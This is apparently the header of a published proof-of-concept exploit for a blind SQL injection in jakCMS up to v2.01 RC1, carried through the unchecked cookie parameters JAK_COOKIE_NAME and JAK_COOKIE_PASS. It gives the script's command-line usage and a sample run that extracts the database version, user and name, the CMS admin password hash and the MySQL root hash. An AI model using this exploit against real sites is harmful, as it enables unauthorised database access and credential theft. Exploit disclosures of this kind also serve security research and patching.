# jakCMS <= v2.01 RC1 Blind SQL Injection Exploit

# Understanding:

# The parameters 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS' are parsed via cookies to the application

# and are unchecked for malicious characters. The contents of these variables are directly inserted into an

# SQL statement, leading to SQL Injection vulnerabilities.

# Notes:

# 1. PoC written to only work with the latest version. However, vuln exists in all versions.

# 2. The admin password is encrypted as a sha256 with a unique HMAC. However the default value is set to ''.

# [mr_me@pluto jak]$ python jakcmsSQLInjectionExploit.py -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/

# | ----------------------------------------- |

# | JAKcms Remote Blind SQL Injection Explo!t |

# | by mr_me - net-ninja.net ---------------- |

# (+) Testing proxy @ localhost:8080.. proxy is found to be working!

# (+) Using 'upload/admin' value for the true page

# (+) This will take time, go grab a coffee..

# (!) Getting database version: 5.1.41-3ubuntu12.9

# (!) Getting database user: root@localhost

# (!) Getting database name: jak

# (!) Getting JakCMS administrative account: admin:98b1d8e3f0ae03888a87bba62bdaf9adf02c78e9c98cfc8c3f46ed7b428dd64b

# (!) w00t! You have access to MySQL database!

# (+) Dumping hashs hold onto your knickers..

# (+) The username and hashed password is: root:*EE4E2773D7530819563F0DC6FCE27446A51C9413
